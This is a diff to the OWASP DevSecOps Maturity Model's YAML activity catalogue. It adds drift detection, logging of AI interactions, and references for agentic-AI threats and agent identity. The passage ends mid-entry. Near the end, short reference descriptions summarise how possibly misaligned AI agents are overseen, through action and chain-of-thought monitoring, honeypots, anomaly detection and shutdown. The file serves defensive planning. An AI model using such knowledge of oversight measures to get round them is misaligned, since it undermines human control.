9d226705-6a42-4653-aa98-53d7e69e8a4c + name: OWASP Top 10 for Agentic Applications + tags: + - ai + - documentation + - threat + url: https://genai.owasp.org/resource/owasp-top-10-for-agentic-applications-for-2026/ + description: |- + The ten most critical security risks of agentic AI systems (ASI01-ASI10), + e.g. agent goal hijack, tool misuse, memory poisoning and rogue agents. + Usable as a threat catalog for threat modeling and red teaming of AI agents. + - uuid: 7bae85fe-adab-4279-ad8d-df842ab922cf + name: OWASP AI Maturity Assessment (AIMA) + tags: + - ai + - documentation + url: https://owasp.org/www-project-ai-maturity-assessment/ + description: "Maturity model for AI systems (v1.0, August 2025) in the style + of the\nOWASP Software Assurance Maturity Model (SAMM), with eight domains:\nresponsible + AI, governance, data management, privacy, design,\nimplementation, verification + and operations. Each practice defines\nthree maturity levels with assessment + worksheets \u2014 usable to assess\nand plan the organizational maturity + around the AI activities of this\ndimension." + references: + samm2: + - O-EM-A-2 + iso27001-2017: + - 12.1.2 + iso27001-2022: + - 8.9 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Verification/subsection/Drift%20detection%20for%20agent%20instructions%20and%20guardrails + comments: "" Build and Deployment: Build: Defined build process: @@ -64,8 +3678,6 @@ Build and Deployment: - 8.32 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Build/subsection/Defined%20build%20process - isImplemented: false - evidence: "" comments: "" tags: - none @@ -75,16 +3687,16 @@ Build and Deployment: While building and testing artifacts, third party systems, application frameworks and 3rd party libraries are used. These might be malicious as a result of vulnerable libraries or because they are altered during the delivery phase. + + Depending on your environment, usage of virtual machines + or container technology is a good way. After the build, the filesystem should + not be used again in other builds. risk: |- While building and testing artifacts, third party systems, application frameworks and 3rd party libraries are used. These might be malicious as a result of vulnerable libraries or because they are altered during the delivery phase. measure: Each step during within the build and testing phase is performed in a separate virtual environments, which is destroyed afterward. - meta: - implementationGuide: Depending on your environment, usage of virtual machines - or container technology is a good way. After the build, the filesystem should - not be used again in other builds. difficultyOfImplementation: knowledge: 2 time: 2 @@ -111,13 +3723,15 @@ Build and Deployment: - 8.31 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Build/subsection/Building%20and%20testing%20of%20artifacts%20in%20virtual%20environments - isImplemented: false - evidence: "" comments: "" tags: - none Pinning of artifacts: uuid: f3c4971e-9f4d-4e59-8ed0-f0bdb6262477 + description: Pinning artifacts in Dockerfile refers to the practice of using + specific, immutable versions of base images and dependencies in your build + process. Instead of using the latest tag for your base image, select a specific + version or digest. For example, replace FROM node:latest, to FROM node@sha256:abcdef12. risk: Unauthorized manipulation of artifacts might be difficult to spot. For example, this may result in using images with malicious code. Also, intended major changes, which are automatically used in an image used might break the @@ -125,12 +3739,6 @@ Build and Deployment: measure: Pinning of artifacts ensure that changes are performed only when intended. comment: The usage of pinning requires a good processes for patching. Therefore, choose this activity wisely. - meta: - implementationGuide: Pinning artifacts in Dockerfile refers to the practice - of using specific, immutable versions of base images and dependencies in - your build process. Instead of using the latest tag for your base image, - select a specific version or digest. For example, replace FROM node:latest, - to FROM node@sha256:abcdef12. difficultyOfImplementation: knowledge: 2 time: 2 @@ -169,8 +3777,6 @@ Build and Deployment: - 8.31 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Build/subsection/Pinning%20of%20artifacts - isImplemented: false - evidence: "" comments: "" SBOM of components: uuid: 2858ac12-0179-40d9-9acf-1b839c030473 @@ -215,12 +3821,10 @@ Build and Deployment: - 5.12 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Build/subsection/SBOM%20of%20components - isImplemented: false tags: - inventory - scanning - sca - evidence: "" comments: "" Signing of code: uuid: 9f107927-61e9-4574-85ad-3f2b4bca8665 @@ -258,8 +3862,6 @@ Build and Deployment: - 8.31 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Build/subsection/Signing%20of%20code - isImplemented: false - evidence: "" comments: "" tags: - none @@ -309,8 +3911,6 @@ Build and Deployment: - 8.31 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Build/subsection/Signing%20of%20artifacts - isImplemented: false - evidence: "" comments: "" tags: - none @@ -490,8 +4090,6 @@ Build and Deployment: - 7.14 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Deployment/subsection/Defined%20decommissioning%20process - isImplemented: false - evidence: "" comments: "" tags: - none @@ -532,7 +4130,6 @@ Build and Deployment: - ApplicationConfigurationHardening openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Deployment/subsection/Environment%20depending%20configuration%20parameters%20%28secrets%29 - isImplemented: false tags: - secret Evaluation of the trust of used components: @@ -582,8 +4179,6 @@ Build and Deployment: - 8.27 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Deployment/subsection/Evaluation%20of%20the%20trust%20of%20used%20components - isImplemented: false - evidence: "" comments: "" tags: - none @@ -647,6 +4242,80 @@ Build and Deployment: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Deployment/subsection/Inventory%20of%20production%20artifacts tags: - inventory + Drift detection for deployed configuration: + uuid: 9cba815f-02d2-4b06-a11f-7f28580e135a + description: "Deployment pipelines put an approved, versioned state into production + \u2014\ndrift detection continuously verifies that production still matches + it.\nDeployed infrastructure and configuration can be changed past the\npipeline: + through a quick hotfix, direct console or shell access, or a\ncompromised + automation account. Continuously comparing the running\nstate against the + versioned desired state (e.g. GitOps reconciliation,\ninfrastructure-as-code + plan diffs) detects such out-of-band changes." + risk: "Production is modified outside the deployment process \u2014 a manual\nhotfix, + a console change or an attacker altering configuration. The\nrunning state + no longer matches the reviewed, versioned state:\nhardening is silently loosened + and never restored, the repository\ngives a false sense of the deployed reality, + and rebuilding the\nenvironment reproduces neither the fix nor the compromise + analysis." + measure: |- + Continuously compare the deployed state of infrastructure and + configuration against the versioned desired state (e.g. via GitOps + controllers that reconcile and report drift, or scheduled + infrastructure-as-code plan runs). Alert on every deviation and either + revert it automatically to the approved state or bring the change + through the regular review process. Document intentional exceptions + so the alerts stay actionable. + dependsOn: + - 67e1a9aa-9fbf-4ec5-a2de-400f01960c51 # Automated deployment process + assessment: | + - Show the drift detection mechanism (e.g. GitOps reconciliation status or scheduled plan diffs) and the covered environments. + - Demonstrate that an out-of-band change to production configuration raises an alert or is reverted automatically. + - Show how the last drift finding was handled (automatic revert or formal re-approval) and the documented exceptions. + difficultyOfImplementation: + knowledge: 3 + time: 2 + resources: 2 + usefulness: 4 + level: 3 + implementation: + - uuid: b0931397-2402-44f1-814b-63292ab4a339 + name: GitOps + tags: [] + url: https://www.redhat.com/en/topics/devops/what-is-gitops + - uuid: fdb0e7cc-d3dd-4a2b-9f45-7d403001294f + name: argoCD + tags: + - deployment + url: https://argo-cd.readthedocs.io/en/stable/ + - uuid: 191b8b8d-1197-4c45-8af6-4e74feda4021 + name: Flux CD + tags: + - deployment + url: https://fluxcd.io/ + description: "GitOps controller for Kubernetes that continuously reconciles + the\ncluster state against the versioned desired state in Git \u2014 out-of-band\nchanges + are detected as drift and automatically reverted or reported." + - uuid: 0d63f907-37fe-4375-88a5-a5e252732618 + name: terraform + tags: + - IaC + url: https://www.terraform.io/ + test-url-expects: + - 308 + description: | + Terraform enables infrastructure automation for provisioning, compliance, and management of any cloud, datacenter, and service. + references: + samm2: + - O-EM-A-2 + iso27001-2017: + - 12.1.2 + iso27001-2022: + - 8.9 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Deployment/subsection/Drift%20detection%20for%20deployed%20configuration + comments: "" + tags: + - none Handover of confidential parameters: uuid: 94a96f79-8bd6-4904-97c0-994ff88f176a risk: Parameters are often used to set credentials, for example by starting @@ -683,7 +4352,6 @@ Build and Deployment: - ApplicationConfigurationHardening openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Deployment/subsection/Handover%20of%20confidential%20parameters - isImplemented: false tags: - secret Inventory of production dependencies: @@ -789,8 +4457,6 @@ Build and Deployment: - 8.14 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Deployment/subsection/Rolling%20update%20on%20deployment - isImplemented: false - evidence: "" comments: "" tags: - none @@ -860,8 +4526,6 @@ Build and Deployment: - 8.32 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Deployment/subsection/Canary%20deployment - isImplemented: false - evidence: "" comments: "" tags: - none @@ -898,8 +4562,6 @@ Build and Deployment: - 8.31 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Deployment/subsection/Same%20artifact%20for%20environments - isImplemented: false - evidence: "" comments: "" tags: - none @@ -947,8 +4609,6 @@ Build and Deployment: - ApplicationConfigurationHardening openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Deployment/subsection/Usage%20of%20feature%20toggles - isImplemented: false - evidence: "" comments: "" tags: - none @@ -990,8 +4650,6 @@ Build and Deployment: - 8.29 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Deployment/subsection/Blue%2FGreen%20Deployment - isImplemented: false - evidence: "" comments: "" tags: - none @@ -1029,8 +4687,6 @@ Build and Deployment: - 8.27 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Patch%20Management/subsection/A%20patch%20policy%20is%20defined - isImplemented: false - evidence: "" comments: "" tags: - patching @@ -1168,8 +4824,6 @@ Build and Deployment: - 8.8 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Patch%20Management/subsection/Nightly%20build%20of%20images%20%28base%20images%29 - isImplemented: false - evidence: "" comments: "" tags: - patching @@ -1216,7 +4870,6 @@ Build and Deployment: - 8.25 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Patch%20Management/subsection/Reduction%20of%20the%20attack%20surface - evidence: "" comments: "" tags: - patching @@ -1255,7 +4908,6 @@ Build and Deployment: - 8.8 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Patch%20Management/subsection/Usage%20of%20a%20maximum%20lifetime%20for%20images - evidence: "" comments: "" tags: - patching @@ -1342,8 +4994,6 @@ Build and Deployment: - 8.8 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Patch%20Management/subsection/Usage%20of%20a%20short%20maximum%20lifetime%20for%20images - isImplemented: false - evidence: "" comments: "" tags: - patching @@ -1469,8 +5119,6 @@ Culture and Organization: - 8.25 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Design/subsection/Conduction%20of%20simple%20threat%20modeling%20on%20technical%20level - isImplemented: false - evidence: "" comments: "" tags: - none @@ -1499,8 +5147,6 @@ Culture and Organization: - 5.4 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Design/subsection/Information%20security%20targets%20are%20communicated - isImplemented: false - evidence: "" comments: "" tags: - none @@ -1533,8 +5179,6 @@ Culture and Organization: - 8.25 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Design/subsection/Conduction%20of%20simple%20threat%20modeling%20on%20business%20level - isImplemented: false - evidence: "" comments: "" tags: - none @@ -1578,8 +5222,6 @@ Culture and Organization: - 5.9 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Design/subsection/Creation%20of%20simple%20abuse%20stories - isImplemented: false - evidence: "" comments: "" tags: - none @@ -1630,8 +5272,6 @@ Culture and Organization: - 8.25 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Design/subsection/Creation%20of%20threat%20modeling%20processes%20and%20standards - isImplemented: false - evidence: "" comments: "" tags: - none @@ -1729,8 +5369,6 @@ Culture and Organization: - 8.25 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Design/subsection/Conduction%20of%20advanced%20threat%20modeling - isImplemented: false - evidence: "" comments: "" tags: - none @@ -1775,8 +5413,6 @@ Culture and Organization: - 5.9 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Design/subsection/Creation%20of%20advanced%20abuse%20stories - isImplemented: false - evidence: "" comments: "" tags: - none @@ -1864,8 +5500,6 @@ Culture and Organization: - 5.8 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Education%20and%20Guidance/subsection/Security%20consulting%20on%20request - isImplemented: false - evidence: "" comments: "" tags: - none @@ -1907,8 +5541,6 @@ Culture and Organization: - 6.3 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Education%20and%20Guidance/subsection/Each%20team%20has%20a%20security%20champion - isImplemented: false - evidence: "" comments: "" tags: - none @@ -1954,8 +5586,6 @@ Culture and Organization: - 6.3 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Education%20and%20Guidance/subsection/Regular%20security%20training%20for%20all - isImplemented: false - evidence: "" comments: "" tags: - none @@ -1993,8 +5623,6 @@ Culture and Organization: - 6.3 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Education%20and%20Guidance/subsection/Regular%20security%20training%20of%20security%20champions - isImplemented: false - evidence: "" comments: "" tags: - none @@ -2037,8 +5665,6 @@ Culture and Organization: - ISO 27001:2022 mapping is missing openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Education%20and%20Guidance/subsection/Reward%20of%20good%20communication - isImplemented: false - evidence: "" comments: "" tags: - none @@ -2084,8 +5710,6 @@ Culture and Organization: - ISO 27001:2022 mapping is missing openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Education%20and%20Guidance/subsection/Security%20code%20review - isImplemented: false - evidence: "" comments: "" tags: - none @@ -2117,8 +5741,6 @@ Culture and Organization: - 6.3 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Education%20and%20Guidance/subsection/Conduction%20of%20build-it%2C%20break-it%2C%20fix-it%20contests - isImplemented: false - evidence: "" comments: "" tags: - none @@ -2178,8 +5800,6 @@ Culture and Organization: - 6.1 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Education%20and%20Guidance/subsection/Security%20Coaching - isImplemented: false - evidence: "" comments: "" tags: - none @@ -2206,8 +5826,6 @@ Culture and Organization: - 5.27 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Education%20and%20Guidance/subsection/Security-Lessoned-Learned - isImplemented: false - evidence: "" comments: "" tags: - none @@ -2260,8 +5878,6 @@ Culture and Organization: - 6.3 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Education%20and%20Guidance/subsection/Simple%20mob%20hacking - isImplemented: false - evidence: "" comments: "" tags: - none @@ -2293,8 +5909,6 @@ Culture and Organization: - 6.1 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Education%20and%20Guidance/subsection/Aligning%20security%20in%20teams - isImplemented: false - evidence: "" comments: "" tags: - none @@ -2322,8 +5936,6 @@ Culture and Organization: - 6.3 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Education%20and%20Guidance/subsection/Conduction%20of%20collaborative%20team%20security%20checks - isImplemented: false - evidence: "" comments: "" tags: - none @@ -2356,8 +5968,6 @@ Culture and Organization: - 5.26 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Education%20and%20Guidance/subsection/Conduction%20of%20war%20games - isImplemented: false - evidence: "" comments: "" tags: - none @@ -2395,8 +6005,6 @@ Culture and Organization: - 6.3 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Education%20and%20Guidance/subsection/Regular%20security%20training%20for%20externals - isImplemented: false - evidence: "" comments: "" tags: - none @@ -2432,8 +6040,6 @@ Culture and Organization: - 8.34 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Education%20and%20Guidance/subsection/Conduction%20of%20collaborative%20security%20checks%20with%20developers%20and%20system%20administrators - isImplemented: false - evidence: "" comments: "" tags: - none @@ -2560,8 +6166,6 @@ Culture and Organization: - 8.25 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Process/subsection/Approval%20by%20reviewing%20any%20new%20version - isImplemented: false - evidence: "" comments: "" tags: - none @@ -2588,8 +6192,6 @@ Culture and Organization: - 8.15 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Process/subsection/Definition%20of%20a%20change%20management%20process - isImplemented: false - evidence: "" comments: "" tags: - none @@ -2698,6 +6300,17 @@ Implementation: - documentation - cwe url: https://cwe.mitre.org/data/definitions/838.html + - uuid: beeac1bd-49dd-43c8-b606-cdb9fa9cf5bc + name: DOMPurify + tags: + - xss + - sanitizer + - library + url: https://github.com/cure53/DOMPurify + description: |- + Allow-list based HTML sanitizer for the browser. Used to sanitize + rendered markdown (e.g. LLM responses in chat UIs) before insertion + into the DOM. references: samm2: - D-SR-A-1 @@ -2931,7 +6544,6 @@ Implementation: - 8.22 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Application%20Hardening/subsection/App.%20Hardening%20Level%202%20%2875%25%29 - isImplemented: false comments: "" dependsOn: - cf819225-30cb-4702-8e32-60225eedc33d # App. Hardening Level 1 @@ -2939,6 +6551,14 @@ Implementation: - none Secure headers: uuid: 29318d60-18ce-4526-80ea-f5928e49f639 + description: | + Essential headers: + - Content-Security-Policy: Define trusted sources for content + - Strict-Transport-Security: Enforce HTTPS connections + - X-Frame-Options: Prevent clickjacking attacks + - X-Content-Type-Options: Prevent MIME-type sniffing + - X-XSS-Protection: Enable browser's XSS filtering + - Referrer-Policy: Control information in the Referrer header risk: | Missing or misconfigured security headers can lead to various security vulnerabilities, e.g.: - Cross-Site Scripting (XSS) due to missing Content Security Policy @@ -2977,15 +6597,6 @@ Implementation: modern browsers \nfrom running into easily preventable vulnerabilities. The OWASP Secure Headers Project intends to raise awareness\nand use of these headers." - meta: - implementationGuide: | - Essential headers: - - Content-Security-Policy: Define trusted sources for content - - Strict-Transport-Security: Enforce HTTPS connections - - X-Frame-Options: Prevent clickjacking attacks - - X-Content-Type-Options: Prevent MIME-type sniffing - - X-XSS-Protection: Enable browser's XSS filtering - - Referrer-Policy: Control information in the Referrer header references: samm2: - O-EM-A-2 @@ -3035,7 +6646,6 @@ Implementation: - 8.22 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Application%20Hardening/subsection/App.%20Hardening%20Level%202 - isImplemented: false comments: "" dependsOn: - 03643ca2-03c2-472b-8e19-956bf02fe9b7 # App. Hardening Level 2 (75%) @@ -3367,8 +6977,6 @@ Implementation: - ISO 27001:2022 mapping is missing openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Development%20and%20Source%20Control/subsection/Local%20development%20linting%20%26%20style%20checks%20performed - isImplemented: false - evidence: "" comments: "" tags: - none @@ -3412,8 +7020,6 @@ Implementation: - Multi-factorAuthentication openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Infrastructure%20Hardening/subsection/MFA%20for%20admins - isImplemented: false - evidence: "" comments: "" tags: - none @@ -3450,8 +7056,6 @@ Implementation: - 8.3 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Infrastructure%20Hardening/subsection/Simple%20access%20control%20for%20systems - isImplemented: false - evidence: "" comments: "" tags: - none @@ -3480,8 +7084,6 @@ Implementation: - 8.24 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Infrastructure%20Hardening/subsection/Usage%20of%20edge%20encryption%20at%20transit - isImplemented: false - evidence: "" comments: "" tags: - none @@ -3543,8 +7145,6 @@ Implementation: - 8.31 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Infrastructure%20Hardening/subsection/Backup - isImplemented: false - evidence: "" comments: "" tags: - none @@ -3611,8 +7211,6 @@ Implementation: - ISO 27001:2022 mapping is missing openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Infrastructure%20Hardening/subsection/Baseline%20Hardening%20of%20the%20environment - isImplemented: false - evidence: "" comments: "" tags: - none @@ -3654,8 +7252,6 @@ Implementation: - 8.22 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Infrastructure%20Hardening/subsection/Isolated%20networks%20for%20virtual%20environments - isImplemented: false - evidence: "" comments: "" tags: - none @@ -3700,8 +7296,6 @@ Implementation: - Multi-factorAuthentication openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Infrastructure%20Hardening/subsection/MFA - isImplemented: false - evidence: "" comments: "" tags: - none @@ -3727,8 +7321,6 @@ Implementation: - ISO 27001:2022 mapping is missing openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Infrastructure%20Hardening/subsection/Usage%20of%20an%20security%20account - isImplemented: false - evidence: "" comments: "" tags: - none @@ -3754,8 +7346,6 @@ Implementation: - 8.24 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Infrastructure%20Hardening/subsection/Usage%20of%20encryption%20at%20rest - isImplemented: false - evidence: "" comments: "" tags: - none @@ -3786,8 +7376,6 @@ Implementation: - 8.14 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Infrastructure%20Hardening/subsection/Usage%20of%20test%20and%20production%20environments - isImplemented: false - evidence: "" comments: "" tags: - none @@ -3821,8 +7409,6 @@ Implementation: - 8.14 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Infrastructure%20Hardening/subsection/Virtual%20environments%20are%20limited - isImplemented: false - evidence: "" comments: "" tags: - none @@ -3858,8 +7444,6 @@ Implementation: - 8.22 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Infrastructure%20Hardening/subsection/Filter%20outgoing%20traffic - isImplemented: false - evidence: "" comments: "" tags: - none @@ -3890,8 +7474,6 @@ Implementation: - 8.14 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Infrastructure%20Hardening/subsection/Immutable%20infrastructure - isImplemented: false - evidence: "" comments: "" tags: - none @@ -3942,8 +7524,6 @@ Implementation: - 8.32 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Infrastructure%20Hardening/subsection/Infrastructure%20as%20Code - isImplemented: false - evidence: "" comments: "" tags: - none @@ -3986,8 +7566,6 @@ Implementation: - ISO 27001:2022 mapping is missing openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Infrastructure%20Hardening/subsection/Limitation%20of%20system%20events - isImplemented: false - evidence: "" comments: "" tags: - none @@ -4021,8 +7599,6 @@ Implementation: - 8.3 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Infrastructure%20Hardening/subsection/Role%20based%20authentication%20and%20authorization - isImplemented: false - evidence: "" comments: "" tags: - none @@ -4049,8 +7625,6 @@ Implementation: - 8.24 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Infrastructure%20Hardening/subsection/Usage%20of%20internal%20encryption%20at%20transit - isImplemented: false - evidence: "" comments: "" tags: - none @@ -4092,8 +7666,6 @@ Implementation: - ISO 27001:2022 mapping is missing openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Infrastructure%20Hardening/subsection/Usage%20of%20security%20by%20default%20for%20components - isImplemented: false - evidence: "" comments: "" tags: - none @@ -4209,8 +7781,6 @@ Implementation: - 8.22 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Infrastructure%20Hardening/subsection/Hardening%20of%20the%20Environment - isImplemented: false - evidence: "" comments: "" tags: - none @@ -4244,8 +7814,6 @@ Implementation: - 8.14 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Infrastructure%20Hardening/subsection/Production%20near%20environments%20are%20used%20by%20developers - isImplemented: false - evidence: "" comments: "" tags: - none @@ -4285,8 +7853,6 @@ Implementation: - 5.29 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Infrastructure%20Hardening/subsection/Usage%20of%20a%20chaos%20technology - isImplemented: false - evidence: "" comments: "" tags: - none @@ -4433,8 +7999,6 @@ Information Gathering: - 8.15 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Logging/subsection/Centralized%20system%20logging - isImplemented: false - evidence: "" comments: "" tags: - none @@ -4525,8 +8089,6 @@ Information Gathering: risk: |- * No track of security-relevant events makes it harder to analyze an incident. * Security incident analysis takes significantly less time with proper security events, such that an attack can be stopped before the attacker reaches his goal. - isImplemented: false - evidence: "" comments: "" tags: - none @@ -4556,6 +8118,137 @@ Information Gathering: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Logging/subsection/Analyze%20logs tags: - none + Logging of AI interactions: + uuid: 053ca80e-c2e7-4ec6-8a6d-2879187df357 + description: |- + AI agents and assistants act with delegated authority: their prompts, + tool and command invocations and outputs are security-relevant events. + Centralized logging of AI interactions provides the audit trail needed + to investigate incidents, detect misuse (e.g. prompt-injection-driven + actions, data exfiltration) and observe drift in agent behavior. + risk: |- + Actions performed by AI agents are not recorded or cannot be + distinguished from human actions. Misuse, data leaks and rogue agent + behavior go undetected and cannot be investigated after an incident. + measure: |- + Log AI interactions centrally: prompts, tool/command invocations, used + model versions and resulting actions, attributed to dedicated agent + identities. Feed the logs into the existing security monitoring and + alert on anomalies (e.g. unusual repositories, mass file access, + activity at odd hours). + dependsOn: + - fe875e17-ae4a-45f8-a359-244aa4fcbc04 # Centralized application logging + assessment: | + - Show where AI interactions (prompts, responses, tool calls) are logged and which fields are captured. + - Show that the logs are integrated into centralized logging with appropriate retention and access restrictions. + difficultyOfImplementation: + knowledge: 3 + time: 3 + resources: 2 + usefulness: 4 + level: 3 + tags: + - ai + - logging + implementation: + - uuid: f2966f4c-38b2-4dbf-95a4-6f0a8fc15ae3 + name: Google DeepMind AI Control Roadmap + tags: + - ai + - monitoring + - threat + - documentation + url: https://storage.googleapis.com/deepmind-media/DeepMind.com/Blog/securing-the-future-of-ai-agents/gdm-ai-control-roadmap.pdf + description: "Roadmap for controlling potentially misaligned AI agents: treats + agents\nas untrusted principals and layers system-level defences \u2014 + TRAIT&R threat\ntaxonomy (based on MITRE ATT&CK), action/chain-of-thought + monitoring,\npull-request monitoring, UEBA anomaly detection, honeypots + and tiered\nprevention/response up to shutdown infrastructure." + - uuid: bbaf5f6a-0366-488b-a712-7f915e866135 + name: Agent Identity Governance Framework (AIGF) + tags: + - ai + - isolation + - permissions + - logging + - documentation + url: https://labs.cloudsecurityalliance.org/agentic/agentic-identity-governance-framework-v1/ + description: "Vendor-neutral framework (Richard Peddi, v2.1, CC BY 4.0) for + identity,\naccess and content governance of autonomous AI agents along six + axes:\nidentification (shadow agents), authentication, authorization,\naudit/non-repudiation + (structured audit log with mandatory fields for\nthe causal chain, correlation + identifiers across multi-agent chains,\ntamper evidence via hash chaining + and write-once storage),\nprompt injection prevention and data flow tracking + \u2014 mapped to EU AI Act,\nGDPR, ISO 42001/27001 and NIST AI RMF." + - uuid: 181e9b98-7d4f-4fff-9181-9f4c4408022e + name: Anthropic Agent Identity and Access Model + tags: + - ai + - isolation + - permissions + - documentation + url: https://claude.com/blog/agent-identity-access-model + description: |- + Reference architecture for agent identity: agents act under dedicated + workspace-level service accounts instead of user credentials, with scoped + per-channel permissions, credentials injected at the network boundary, + egress blocked to unapproved hosts and every agent action logged under + the agent identity in both platforms' audit logs. + - uuid: 415def4e-8562-45e3-a085-b7edd5eb4317 + name: 'AI Coding Agent CLI design: Background & Cloud Agents' + tags: + - ai + - isolation + - logging + - documentation + url: https://system-design-interviews.com/book/interview.html#ai-coding-cli/cloud + description: |- + System-design walkthrough of headless cloud agents: ephemeral sandboxes + with 